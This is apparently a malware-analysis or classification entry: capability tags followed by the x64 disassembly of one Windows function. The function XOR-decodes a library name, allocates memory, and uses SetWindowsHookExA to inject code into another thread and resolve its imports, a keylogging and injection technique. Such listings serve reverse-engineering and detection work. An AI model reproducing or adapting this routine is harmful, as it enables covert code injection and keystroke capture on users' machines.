Function at 0x14007d850
Capabilities:
Allocate or change rwx memory
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push r12
push r14
push r15
sub rsp, 0x60
mov r14, r8
mov r15, rdx
mov r8d, dword [r8 + 0x90]
mov r12d, ecx
movzx eax, word [r14 + 0x14]
lea r10, [r14 + 0x18]
add r10, rax
movzx eax, word [r14 + 6]
lea r9, [rax + rax*4]
lea r11, [r10 + r9*8]
cmp r10, r11
jae 0x14007d8b2
mov ecx, dword [r10 + 0xc]
cmp r8, rcx
jb 0x14007d8a9
mov eax, dword [r10 + 8]
add eax, ecx
cmp r8, rax
jb 0x14007d941
add r10, 0x28
cmp r10, r11
jb 0x14007d891
xor eax, eax
mov qword [rsp + 0x98], rbx
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], r13
test r8d, r8d
je 0x14007dc6d
cmp dword [r14 + 0x94], 0
je 0x14007dc6d
lea r13, [rax + 0x10]
movzx r10d, word [r14 + 0x14]
mov r11d, 0x6e
movzx r8d, word [r14 + 6]
add r10, 0x18
mov r9d, dword [r13 - 4]
add r10, r14
mov qword [rsp + 0x90], r13
mov rdx, r10
lea rax, [r8 + r8*4]
lea rcx, [r10 + rax*8]
cmp r10, rcx
jae 0x14007d961
mov ecx, dword [rdx + 0xc]
cmp r9, rcx
jb 0x14007d930
mov eax, dword [rdx + 8]
add eax, ecx
cmp r9, rax
jb 0x14007d953
lea rcx, [r8 + r8*4]
add rdx, 0x28
lea rax, [r10 + rcx*8]
cmp rdx, rax
jmp 0x14007d91c
mov eax, dword [r10 + 0x14]
sub rax, rcx
add rax, r8
add rax, rdx
jmp 0x14007d8b4
mov ebp, dword [rdx + 0x14]
sub rbp, rcx
add rbp, r9
add rbp, r15
jmp 0x14007d963
xor ebp, ebp
test rbp, rbp
je 0x14007dc6d
cmp word [0x1400b0a52], 0
movups xmm0, xmmword [0x1400b0a40]
mov eax, dword [0x1400b0a50]
mov dword [rsp + 0x30], eax
movups xmmword [rsp + 0x20], xmm0
je 0x14007d9c8
xor word [rsp + 0x22], 0x34
xor word [rsp + 0x24], 0x35
xor word [rsp + 0x26], 0x36
xor word [rsp + 0x28], 0x37
xor word [rsp + 0x2a], 0x38
xor word [rsp + 0x2c], 0x39
xor word [rsp + 0x2e], 0x3a
xor word [rsp + 0x30], 0x3b
xor word [rsp + 0x32], 0x3c
mov word [rsp + 0x20], r11w
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
call fcn.140038de0
mov edx, 0x1000
mov r8d, 0x40
mov rcx, rax
call fcn.140038c00
mov edx, 0xc8
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
mov r13, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movaps xmm0, xmmword [0x140238330]
lea rsi, [r13 + 0x60]
mov r15, rax
mov r8, rbp
mov edx, 0x50
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140238340]
lea rcx, [r15 + 0x78]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140238350]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140238360]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140238370]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140238380]
movups xmmword [rax + 0x50], xmm1
mov eax, dword [0x1402383ec]
mov qword [rax + r15], rsi
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [r15 + 0x68], rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
call fcn.140038de0
mov r9d, 0xc8
mov r8, r15
mov rdx, r13
mov rcx, rax
call fcn.140038e50
mov r9d, r12d
mov r8, rbx
mov rdx, r13
mov ecx, 3
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
cmp dword [r15 + 0x60], 2
mov rbx, rax
je 0x14007daed
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, r12d
call qword [sym.imp.USER32.dll_PostThreadMessageA]
call fcn.140038de0
mov r9d, 0x68
lea r8, [r15 + 0x60]
mov rdx, rsi
mov rcx, rax
call fcn.140038d30
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [r15 + 0x60], 2
jne 0x14007dab0
mov r12, qword [r15 + 0x70]
mov rcx, rbx
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call fcn.140038de0
mov rdx, r13
mov rcx, rax
call fcn.140038ca0
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r12, r12
je 0x14007dc69
movzx r10d, word [r14 + 0x14]
movzx r8d, word [r14 + 6]
add r10, 0x18
mov r13, qword [rsp + 0x90]
add r10, r14
mov rdx, r10
lea rax, [r8 + r8*4]
mov r9d, dword [r13]
lea rcx, [r10 + rax*8]
cmp r10, rcx
jae 0x14007db8a
mov ecx, dword [rdx + 0xc]
cmp r9, rcx
jb 0x14007db63
mov eax, dword [rdx + 8]
add eax, ecx
cmp r9, rax
jb 0x14007db74
lea rcx, [r8 + r8*4]
add rdx, 0x28
lea rax, [r10 + rcx*8]
cmp rdx, rax
jmp 0x14007db4f
mov esi, dword [rdx + 0x14]
mov r15, qword [rsp + 0x88]
sub rsi, rcx
add rsi, r9
add rsi, r15
jmp 0x14007db94
mov r15, qword [rsp + 0x88]
xor esi, esi
mov rax, qword [rsi]
test rax, rax
je 0x14007dc58
jns 0x14007dbba
movzx ebx, word [rsi]
xor edx, edx
mov r8d, 1
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov edx, ebx
jmp 0x14007dc26
movzx r10d, word [r14 + 0x14]
movzx r8d, word [r14 + 6]
add r10, 0x18
mov r9, qword [rsi]
add r10, r14
mov rax, r10
lea rcx, [r8 + r8*4]
lea rdx, [r10 + rcx*8]
cmp r10, rdx
jae 0x14007dc0f
mov edx, dword [rax + 0xc]
cmp r9, rdx
jb 0x14007dbf0
mov ecx, dword [rax + 8]
add ecx, edx
cmp r9, rcx
jb 0x14007dc01
lea rdx, [r8 + r8*4]
add rax, 0x28
lea rcx, [r10 + rdx*8]
cmp rax, rcx
jmp 0x14007dbdc
mov ebx, dword [rax + 0x14]
sub rbx, rdx
add rbx, r9
add rbx, r15
jmp 0x14007dc11
xor ebx, ebx
xor edx, edx
mov r8d, 1
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea rdx, [rbx + 2]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov rcx, rdi
sub rbx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rax, [rbx + r12]
mov qword [rsi], rax
add rsi, 8
mov rax, qword [rsi]
test rax, rax
jne 0x14007dba0
mov r12d, dword [rsp + 0x80]
add r13, 0x14
jmp 0x14007d8eb
xor eax, eax
jmp 0x14007dc72
mov eax, 1
mov r13, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x98]
add rsp, 0x60
pop r15
pop r14
pop r12
ret